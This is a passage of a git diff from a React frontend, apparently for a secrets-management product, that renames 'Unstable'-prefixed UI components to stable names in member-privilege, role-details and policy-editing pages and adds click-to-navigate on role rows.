                                     }}
                                   </ProjectPermissionCan>
@@ -309,7 +309,7 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                                       a={ProjectPermissionSub.Member}
                                     >
                                       {(isAllowed) => (
-                                        <UnstableDropdownMenuItem
+                                        <DropdownMenuItem
                                           isDisabled={!isAllowed || !canModifyMemberPrivileges}
                                           onClick={(e) => {
                                             e.stopPropagation();
@@ -317,7 +317,7 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                                           }}
                                         >
                                           Edit Additional Privilege
-                                        </UnstableDropdownMenuItem>
+                                        </DropdownMenuItem>
                                       )}
                                     </ProjectPermissionCan>
                                     <ProjectPermissionCan
@@ -325,7 +325,7 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                                       a={ProjectPermissionSub.Member}
                                     >
                                       {(isAllowed) => (
-                                        <UnstableDropdownMenuItem
+                                        <DropdownMenuItem
                                           isDisabled={!isAllowed || !canModifyMemberPrivileges}
                                           variant="danger"
                                           onClick={(e) => {
@@ -337,30 +337,30 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                                           }}
                                         >
                                           Remove Additional Privilege
-                                        </UnstableDropdownMenuItem>
+                                        </DropdownMenuItem>
                                       )}
                                     </ProjectPermissionCan>
                                   </>
                                 )}
-                              </UnstableDropdownMenuContent>
-                            </UnstableDropdownMenu>
-                          </UnstableTableCell>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
+                          </TableCell>
                         )}
-                      </UnstableTableRow>
+                      </TableRow>
                     );
                   })}
-              </UnstableTableBody>
-            </UnstableTable>
+              </TableBody>
+            </Table>
           ) : (
-            <UnstableEmpty className="border">
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>This user has no additional privileges</UnstableEmptyTitle>
-                <UnstableEmptyDescription>
+            <Empty className="border">
+              <EmptyHeader>
+                <EmptyTitle>This user has no additional privileges</EmptyTitle>
+                <EmptyDescription>
                   Add an additional privilege to grant one-off access policies
-                </UnstableEmptyDescription>
-              </UnstableEmptyHeader>
+                </EmptyDescription>
+              </EmptyHeader>
               {!isOwnProjectMembershipDetails && (
-                <UnstableEmptyContent>
+                <EmptyContent>
                   <ProjectPermissionCan
                     I={ProjectPermissionActions.Edit}
                     a={ProjectPermissionSub.Member}
@@ -394,12 +394,12 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                       );
                     }}
                   </ProjectPermissionCan>
-                </UnstableEmptyContent>
+                </EmptyContent>
               )}
-            </UnstableEmpty>
+            </Empty>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <Sheet
         open={popUp.modifyPrivilege.isOpen}
         onOpenChange={(isOpen) => handlePopUpToggle("modifyPrivilege", isOpen)}
diff --git a/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MembershipProjectAdditionalPrivilegeModifySection.tsx b/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MembershipProjectAdditionalPrivilegeModifySection.tsx
index 0abc47de19f..d982732fa74 100644
--- a/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MembershipProjectAdditionalPrivilegeModifySection.tsx
+++ b/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MembershipProjectAdditionalPrivilegeModifySection.tsx
@@ -9,21 +9,21 @@ import { z } from "zod";
 import { TtlFormLabel } from "@app/components/features";
 import { createNotification } from "@app/components/notifications";
 import {
+  Accordion,
   Badge,
   Button,
   Field,
   FieldError,
   FieldLabel,
+  Input,
   Popover,
   PopoverContent,
   PopoverTrigger,
+  Separator,
   SheetFooter,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAccordion,
-  UnstableInput,
-  UnstableSeparator
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionMemberActions,
@@ -267,7 +267,7 @@ export const MembershipProjectAdditionalPrivilegeModifySection = ({
                         <FieldLabel>
                           Privilege Name <span className="text-muted">(optional)</span>
                         </FieldLabel>
-                        <UnstableInput {...field} />
+                        <Input {...field} />
                       </Field>
                     )}
                   />
@@ -310,7 +310,7 @@ export const MembershipProjectAdditionalPrivilegeModifySection = ({
                                 <FieldLabel>
                                   <TtlFormLabel label="Validity" />
                                 </FieldLabel>
-                                <UnstableInput {...field} isError={Boolean(error?.message)} />
+                                <Input {...field} isError={Boolean(error?.message)} />
                                 {error?.message && <FieldError>{error.message}</FieldError>}
                               </Field>
                               <div className="flex items-center space-x-2">
@@ -371,7 +371,7 @@ export const MembershipProjectAdditionalPrivilegeModifySection = ({
                 </div>
               </div>
             </div>
-            <UnstableSeparator />
+            <Separator />
             <div>
               <div className="mb-3 flex w-full items-center justify-between">
                 <div className="text-lg">Policies</div>
@@ -424,7 +424,7 @@ export const MembershipProjectAdditionalPrivilegeModifySection = ({
               {(isCreate || !isPending) && !hasPermissions && <PermissionEmptyState />}
               {hasPermissions && (
                 <div className="thin-scrollbar overflow-y-auto">
-                  <UnstableAccordion
+                  <Accordion
                     type="multiple"
                     value={openPolicies}
                     onValueChange={setOpenPolicies}
@@ -449,7 +449,7 @@ export const MembershipProjectAdditionalPrivilegeModifySection = ({
                         </GeneralPermissionPolicies>
                       );
                     })}
-                  </UnstableAccordion>
+                  </Accordion>
                 </div>
               )}
             </div>
diff --git a/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberRoleDetailsSection/MemberRoleDetailsSection.tsx b/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberRoleDetailsSection/MemberRoleDetailsSection.tsx
index 25c5748afbe..a4eb33c9c25 100644
--- a/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberRoleDetailsSection/MemberRoleDetailsSection.tsx
+++ b/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberRoleDetailsSection/MemberRoleDetailsSection.tsx
@@ -1,4 +1,5 @@
 import { useMemo } from "react";
+import { useNavigate } from "@tanstack/react-router";
 import { format, formatDistance } from "date-fns";
 import { ClockAlertIcon, ClockIcon, EllipsisIcon, PencilIcon } from "lucide-react";
 import picomatch from "picomatch";
@@ -9,31 +10,31 @@ import { DeleteActionModal, Lottie, Modal, ModalContent } from "@app/components/
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3/generic";
 import {
   ProjectPermissionActions,
@@ -42,6 +43,7 @@ import {
   useProjectPermission,
   useUser
 } from "@app/context";
+import { getProjectBaseURL } from "@app/helpers/project";
 import { formatProjectRoleName } from "@app/helpers/roles";
 import { usePopUp } from "@app/hooks";
 import { useUpdateUserWorkspaceRole } from "@app/hooks/api";
@@ -64,8 +66,9 @@ export const MemberRoleDetailsSection = ({
 }: Props) => {
   const { user } = useUser();
   const userId = user?.id;
-  const { projectId } = useProject();
+  const { projectId, currentProject } = useProject();
   const { permission } = useProjectPermission();
+  const navigate = useNavigate();
 
   const assignRoleConditions = useMemo(
     () => getMemberAssignRoleConditions(permission),
@@ -131,12 +134,12 @@ export const MemberRoleDetailsSection = ({
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Project Roles</UnstableCardTitle>
-          <UnstableCardDescription>Manage roles assigned to this user</UnstableCardDescription>
+      <Card>
+        <CardHeader>
+          <CardTitle>Project Roles</CardTitle>
+          <CardDescription>Manage roles assigned to this user</CardDescription>
           {!isOwnProjectMembershipDetails && hasRoles && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Edit}
                 a={ProjectPermissionSub.Member}
@@ -170,10 +173,10 @@ export const MemberRoleDetailsSection = ({
                   );
                 }}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           {
             /* eslint-disable-next-line no-nested-ternary */
             isMembershipDetailsLoading ? (
@@ -182,15 +185,15 @@ export const MemberRoleDetailsSection = ({
                 <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
               </div>
             ) : hasRoles ? (
-              <UnstableTable>
-                <UnstableTableHeader>
-                  <UnstableTableRow>
-                    <UnstableTableHead className="w-1/2">Role</UnstableTableHead>
-                    <UnstableTableHead className="w-1/2">Duration</UnstableTableHead>
-                    {!isOwnProjectMembershipDetails && <UnstableTableHead className="w-5" />}
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+              <Table>
+                <TableHeader>
+                  <TableRow>
+                    <TableHead className="w-1/2">Role</TableHead>
+                    <TableHead className="w-1/2">Duration</TableHead>
+                    {!isOwnProjectMembershipDetails && <TableHead className="w-5" />}
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {membershipDetails?.roles?.map((roleDetails) => {
                     const isTemporary = roleDetails?.isTemporary;
                     const isExpired =
@@ -216,16 +219,28 @@ export const MemberRoleDetailsSection = ({
                     }
 
                     return (
-                      <UnstableTableRow
-                        className="group h-10"
+                      <TableRow
+                        className="group h-10 cursor-pointer"
                         key={`user-project-identity-${roleDetails?.id}`}
+                        onClick={() =>
+                          navigate({
+                            to: `${getProjectBaseURL(currentProject.type)}/roles/$roleSlug`,
+                            params: {
+                              projectId: currentProject.id,
+                              roleSlug:
+                                roleDetails.role === "custom"
+                                  ? roleDetails.customRoleSlug
+                                  : roleDetails.role
+                            }
+                          })
+                        }
                       >
-                        <UnstableTableCell className="max-w-0 truncate">
+                        <TableCell className="max-w-0 truncate">
                           {roleDetails.role === "custom"
                             ? roleDetails.customRoleName
                             : formatProjectRoleName(roleDetails.role)}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           {isTemporary ? (
                             <Tooltip>
                               <TooltipTrigger asChild>
@@ -242,22 +257,26 @@ export const MemberRoleDetailsSection = ({
                           ) : (
                             text
                           )}
-                        </UnstableTableCell>
+                        </TableCell>
                         {!isOwnProjectMembershipDetails && (
-                          <UnstableTableCell>
-                            <UnstableDropdownMenu>
-                              <UnstableDropdownMenuTrigger asChild>
-                                <UnstableIconButton size="xs" variant="ghost">
+                          <TableCell>
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton
+                                  size="xs"
+                                  variant="ghost"
+                                  onClick={(e) => e.stopPropagation()}
+                                >
                                   <EllipsisIcon />
-                                </UnstableIconButton>
-                              </UnstableDropdownMenuTrigger>
-                              <UnstableDropdownMenuContent align="end">
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent align="end">
                                 <ProjectPermissionCan
                                   I={ProjectPermissionActions.Edit}
                                   a={ProjectPermissionSub.Member}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       onClick={(e) => {
                                         e.stopPropagation();
                                         handlePopUpOpen("deleteRole", {
@@ -269,27 +288,25 @@ export const MemberRoleDetailsSection = ({
                                       variant="danger"
                                     >
                                       Remove Role
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </ProjectPermissionCan>
-                              </UnstableDropdownMenuContent>
-                            </UnstableDropdownMenu>
-                          </UnstableTableCell>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
+                          </TableCell>
                         )}
-                      </UnstableTableRow>
+                      </TableRow>
                     );
                   })}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
             ) : (
-              <UnstableEmpty className="border">
-                <UnstableEmptyHeader>
-                  <UnstableEmptyTitle>This user doesn&apos;t have any roles</UnstableEmptyTitle>
-                  <UnstableEmptyDescription>
-                    Give this user one or more roles
-                  </UnstableEmptyDescription>
-                </UnstableEmptyHeader>
-                <UnstableEmptyContent>
+              <Empty className="border">
+                <EmptyHeader>
+                  <EmptyTitle>This user doesn&apos;t have any roles</EmptyTitle>
+                  <EmptyDescription>Give this user one or more roles</EmptyDescription>
+                </EmptyHeader>
+                <EmptyContent>
                   <ProjectPermissionCan
                     I={ProjectPermissionActions.Edit}
                     a={ProjectPermissionSub.Member}
@@ -324,12 +341,12 @@ export const MemberRoleDetailsSection = ({
                       );
                     }}
                   </ProjectPermissionCan>
-                </UnstableEmptyContent>
-              </UnstableEmpty>
+                </EmptyContent>
+              </Empty>
             )
           }
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       <DeleteActionModal
         isOpen={popUp.deleteRole.isOpen}
diff --git a/frontend/src/pages/project/MemberDetailsByIDPage/components/ProjectMemberDetailsSection.tsx b/frontend/src/pages/project/MemberDetailsByIDPage/components/ProjectMemberDetailsSection.tsx
index 3fd22db31cb..3adbebcd01e 100644
--- a/frontend/src/pages/project/MemberDetailsByIDPage/components/ProjectMemberDetailsSection.tsx
+++ b/frontend/src/pages/project/MemberDetailsByIDPage/components/ProjectMemberDetailsSection.tsx
@@ -3,16 +3,16 @@ import { CheckIcon, ClipboardListIcon } from "lucide-react";
 
 import { Tooltip } from "@app/components/v2";
 import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import { useTimedReset } from "@app/hooks";
 import { TWorkspaceUser } from "@app/hooks/api/types";
@@ -39,12 +39,12 @@ export const ProjectMemberDetailsSection = ({ membership }: Props) => {
   const name = firstName || lastName ? `${firstName} ${lastName}`.trim() : null;
 
   return (
-    <UnstableCard className="w-full lg:max-w-[24rem]">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Details</UnstableCardTitle>
-        <UnstableCardDescription>User membership details</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card className="w-full lg:max-w-[24rem]">
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+        <CardDescription>User membership details</CardDescription>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           <Detail>
             <DetailLabel>Name</DetailLabel>
@@ -55,7 +55,7 @@ export const ProjectMemberDetailsSection = ({ membership }: Props) => {
             <DetailValue className="flex items-center gap-x-1">
               {membership.user.id}
               <Tooltip content="Copy user ID to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(userId);
                     setCopyTextId("Copied");
@@ -65,7 +65,7 @@ export const ProjectMemberDetailsSection = ({ membership }: Props) => {
                 >
                   {/* TODO(scott): color this should be a button variant and create re-usable copy button */}
                   {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -74,7 +74,7 @@ export const ProjectMemberDetailsSection = ({ membership }: Props) => {
             <DetailValue className="flex items-center gap-x-1">
               {email}
               <Tooltip content="Copy user email to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(email);
                     setCopyEmail("Copied");
@@ -84,7 +84,7 @@ export const ProjectMemberDetailsSection = ({ membership }: Props) => {
                 >
                   {/* TODO(scott): color this should be a button variant and create re-usable copy button */}
                   {isCopyingEmail ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -99,7 +99,7 @@ export const ProjectMemberDetailsSection = ({ membership }: Props) => {
             <DetailValue>{format(membership.createdAt, "PPpp")}</DetailValue>
           </Detail>
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/RoleDetailsBySlugPage.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/RoleDetailsBySlugPage.tsx
index 8e281def24b..594cd52e8af 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/RoleDetailsBySlugPage.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/RoleDetailsBySlugPage.tsx
@@ -9,10 +9,10 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, PageHeader } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -108,15 +108,15 @@ const Page = () => {
             }
           >
             {isCustomRole && (
-              <UnstableDropdownMenu>
-                <UnstableDropdownMenuTrigger asChild>
+              <DropdownMenu>
+                <DropdownMenuTrigger asChild>
                   <Button variant="outline">
                     Options
                     <EllipsisIcon />
                   </Button>
-                </UnstableDropdownMenuTrigger>
-                <UnstableDropdownMenuContent align="end">
-                  <UnstableDropdownMenuItem
+                </DropdownMenuTrigger>
+                <DropdownMenuContent align="end">
+                  <DropdownMenuItem
                     onClick={() => {
                       navigator.clipboard.writeText(data.id);
                       createNotification({
@@ -127,8 +127,8 @@ const Page = () => {
                   >
                     <CopyIcon />
                     Copy ID
-                  </UnstableDropdownMenuItem>
-                  <UnstableDropdownMenuItem
+                  </DropdownMenuItem>
+                  <DropdownMenuItem
                     onClick={() => {
                       navigator.clipboard.writeText(data.slug);
                       createNotification({
@@ -139,13 +139,13 @@ const Page = () => {
                   >
                     <CopyIcon />
                     Copy Slug
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                   <ProjectPermissionCan
                     I={ProjectPermissionActions.Edit}
                     a={ProjectPermissionSub.Role}
                   >
                     {(isAllowed) => (
-                      <UnstableDropdownMenuItem
+                      <DropdownMenuItem
                         className={twMerge(
                           !isAllowed && "pointer-events-none cursor-not-allowed opacity-50"
                         )}
@@ -158,7 +158,7 @@ const Page = () => {
                       >
                         <PencilIcon />
                         Edit Role
-                      </UnstableDropdownMenuItem>
+                      </DropdownMenuItem>
                     )}
                   </ProjectPermissionCan>
                   <ProjectPermissionCan
@@ -166,7 +166,7 @@ const Page = () => {
                     a={ProjectPermissionSub.Role}
                   >
                     {(isAllowed) => (
-                      <UnstableDropdownMenuItem
+                      <DropdownMenuItem
                         className={twMerge(
                           !isAllowed && "pointer-events-none cursor-not-allowed opacity-50"
                         )}
@@ -177,7 +177,7 @@ const Page = () => {
                       >
                         <CopyIcon />
                         Duplicate Role
-                      </UnstableDropdownMenuItem>
+                      </DropdownMenuItem>
                     )}
                   </ProjectPermissionCan>
                   <ProjectPermissionCan
@@ -185,18 +185,18 @@ const Page = () => {
                     a={ProjectPermissionSub.Role}
                   >
                     {(isAllowed) => (
-                      <UnstableDropdownMenuItem
+                      <DropdownMenuItem
                         variant="danger"
                         onClick={() => handlePopUpOpen("deleteRole")}
                         isDisabled={!isAllowed}
                       >
                         <TrashIcon />
                         Delete Role
-                      </UnstableDropdownMenuItem>
+                      </DropdownMenuItem>
                     )}
                   </ProjectPermissionCan>
-                </UnstableDropdownMenuContent>
-              </UnstableDropdownMenu>
+                </DropdownMenuContent>
+              </DropdownMenu>
             )}
           </PageHeader>
           <RolePermissionsSection roleSlug={roleSlug} isDisabled={!isCustomRole} />
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/AddPoliciesButton.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/AddPoliciesButton.tsx
index 62174fa6267..b20f400c07e 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/AddPoliciesButton.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/AddPoliciesButton.tsx
@@ -2,20 +2,21 @@ import { ChevronDownIcon, DownloadIcon, LayersIcon, PlusIcon } from "lucide-reac
 
 import {
   Button,
+  ButtonGroup,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableButtonGroup,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionSub, useOrgPermission } from "@app/context";
 import { OrgMembershipRole } from "@app/helpers/roles";
 import { usePopUp } from "@app/hooks";
-import { useGetVaultExternalMigrationConfigs } from "@app/hooks/api/migration";
+import { useGetExternalMigrationConfigs } from "@app/hooks/api/migration";
+import { ExternalMigrationProviders } from "@app/hooks/api/migration/types";
 import { ProjectType } from "@app/hooks/api/projects/types";
 import { PolicySelectionPopover } from "@app/pages/project/RoleDetailsBySlugPage/components/PolicySelectionModal";
 import { PolicyTemplateModal } from "@app/pages/project/RoleDetailsBySlugPage/components/PolicyTemplateModal";
@@ -44,14 +45,16 @@ export const AddPoliciesButton = ({
   ] as const);
 
   const { hasOrgRole } = useOrgPermission();
-  const { data: vaultConfigs = [] } = useGetVaultExternalMigrationConfigs();
+  const { data: vaultConfigs = [] } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Vault
+  );
   const hasVaultConnection = vaultConfigs.some((config) => config.connectionId);
   const isOrgAdmin = hasOrgRole(OrgMembershipRole.Admin);
   const isVaultImportDisabled = isDisabled || !isOrgAdmin;
 
   return (
     <div>
-      <UnstableButtonGroup>
+      <ButtonGroup>
         <PolicySelectionPopover
           type={projectType}
           isOpen={popUp.addPolicy.isOpen}
@@ -70,17 +73,17 @@ export const AddPoliciesButton = ({
             Add Policies
           </Button>
         </PolicySelectionPopover>
-        <UnstableDropdownMenu
+        <DropdownMenu
           open={popUp.addPolicyOptions.isOpen}
           onOpenChange={(isOpen) => handlePopUpToggle("addPolicyOptions", isOpen)}
         >
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton type="button" variant="outline">
+          <DropdownMenuTrigger asChild>
+            <IconButton type="button" variant="outline">
               <ChevronDownIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuItem
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
               onClick={() => {
                 handlePopUpOpen("applyTemplate");
                 handlePopUpClose("addPolicyOptions");
@@ -89,11 +92,11 @@ export const AddPoliciesButton = ({
             >
               <LayersIcon />
               Add From Template
-            </UnstableDropdownMenuItem>
+            </DropdownMenuItem>
             {hasVaultConnection && (
               <Tooltip open={!isOrgAdmin ? undefined : false}>
                 <TooltipTrigger className="block w-full">
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => {
                       handlePopUpOpen("importFromVault");
                       handlePopUpClose("addPolicyOptions");
@@ -102,16 +105,16 @@ export const AddPoliciesButton = ({
                   >
                     <DownloadIcon />
                     Add from HashiCorp Vault
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 </TooltipTrigger>
                 <TooltipContent side="left">
                   Only organization admins can import policies from HashiCorp Vault
                 </TooltipContent>
               </Tooltip>
             )}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableButtonGroup>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </ButtonGroup>
       <PolicyTemplateModal
         type={projectType}
         isOpen={popUp.applyTemplate.isOpen}
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/ConditionsFields.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/ConditionsFields.tsx
index eff5878be56..7ad42fd5985 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/ConditionsFields.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/ConditionsFields.tsx
@@ -4,9 +4,15 @@ import { AlertTriangleIcon, InfoIcon, PlusIcon, TrashIcon } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
 import {
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
   Badge,
   Button,
   FieldError,
+  IconButton,
+  Input,
   Select,
   SelectContent,
   SelectItem,
@@ -14,13 +20,7 @@ import {
   SelectValue,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAccordion,
-  UnstableAccordionContent,
-  UnstableAccordionItem,
-  UnstableAccordionTrigger,
-  UnstableIconButton,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ConditionalProjectPermissionSubject,
@@ -290,9 +290,9 @@ export const ConditionsFields = ({
         </Tooltip>
       </div>
       {incompatibleConditions.length > 0 && (
-        <UnstableAccordion type="single" collapsible className="mt-3 border-danger/35">
-          <UnstableAccordionItem value="errors" className="border-none">
-            <UnstableAccordionTrigger className="min-h-10 flex-row-reverse justify-between bg-danger/[0.075] px-3 py-2 text-foreground hover:bg-danger/10 data-[state=open]:bg-danger/10 [&>svg]:shrink-0">
+        <Accordion type="single" collapsible className="mt-3 border-danger/35">
+          <AccordionItem value="errors" className="border-none">
+            <AccordionTrigger className="min-h-10 flex-row-reverse justify-between bg-danger/[0.075] px-3 py-2 text-foreground hover:bg-danger/10 data-[state=open]:bg-danger/10 [&>svg]:shrink-0">
               <div className="flex items-center gap-2">
                 <AlertTriangleIcon className="size-4 text-danger" />
                 <span>
@@ -300,8 +300,8 @@ export const ConditionsFields = ({
                   {incompatibleConditions.length > 1 ? "s" : ""} incompatible with selected actions
                 </span>
               </div>
-            </UnstableAccordionTrigger>
-            <UnstableAccordionContent className="space-y-1 bg-danger/[0.025] px-3 py-2">
+            </AccordionTrigger>
+            <AccordionContent className="space-y-1 bg-danger/[0.025] px-3 py-2">
               {incompatibleConditions.map((item) => (
                 <div key={item.conditionValue} className="text-sm">
                   <span className="font-medium text-danger">
@@ -315,9 +315,9 @@ export const ConditionsFields = ({
                 Remove the incompatible conditions or update the selected actions to make them
                 compatible.
               </span>
-            </UnstableAccordionContent>
-          </UnstableAccordionItem>
-        </UnstableAccordion>
+            </AccordionContent>
+          </AccordionItem>
+        </Accordion>
       )}
       <div className="mt-2 flex flex-col space-y-2">
         {items.fields.length > 0 &&
@@ -465,14 +465,14 @@ export const ConditionsFields = ({
                             </div>
                           </div>
                           <div className="grow">
-                            <UnstableInput
+                            <Input
                               {...rhsField}
                               className={twMerge(rhsError?.message && "border-danger")}
                             />
                           </div>
                           <Tooltip>
                             <TooltipTrigger asChild>
-                              <UnstableIconButton
+                              <IconButton
                                 aria-label="remove"
                                 variant="outline"
                                 className="hover:border-danger/30 hover:bg-danger/15"
@@ -480,7 +480,7 @@ export const ConditionsFields = ({
                                 onClick={() => items.remove(index)}
                               >
                                 <TrashIcon className="size-4" />
-                              </UnstableIconButton>
+                              </IconButton>
                             </TooltipTrigger>
                             <TooltipContent side="right">Remove Condition</TooltipContent>
                           </Tooltip>
diff --git a/frontend/src/pages/project/RoleDetailsBySlugPage/components/GeneralPermissionPolicies.tsx b/frontend/src/pages/project/RoleDetailsBySlugPage/components/GeneralPermissionPolicies.tsx
index eb22a80f324..c6b7c15711d 100644
--- a/frontend/src/pages/project/RoleDetailsBySlugPage/components/GeneralPermissionPolicies.tsx
+++ b/frontend/src/pages/project/RoleDetailsBySlugPage/components/GeneralPermissionPolicies.tsx
@@ -12,9 +12,13 @@ import { CheckIcon, NetworkIcon, PlusIcon, TrashIcon } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
 import {
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
   Badge,
   Button,
   FilterableSelect,
+  IconButton,
   Select,
   SelectContent,
   SelectItem,
@@ -22,11 +26,7 @@ import {
   SelectValue,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAccordionContent,
-  UnstableAccordionItem,
-  UnstableAccordionTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionGroupActions,
@@ -274,8 +274,8 @@ export const GeneralPermissionPolicies = <T extends keyof NonNullable<TFormSchem
   if (!watchFields || !Array.isArray(watchFields) || watchFields.length === 0) return null;
 
   return (
-    <UnstableAccordionItem value={subject}>
-      <UnstableAccordionTrigger className="min-h-14 px-4 py-2.5 hover:bg-container-hover [&>svg]:size-5">
+    <AccordionItem value={subject}>
+      <AccordionTrigger className="min-h-14 px-4 py-2.5 hover:bg-container-hover [&>svg]:size-5">
         <div className="flex flex-1 items-center gap-2 text-left">
           <div className="flex grow flex-col">
             <span className="text-base select-none">{title}</span>
@@ -327,8 +327,8 @@ export const GeneralPermissionPolicies = <T extends keyof NonNullable<TFormSchem
             </div>
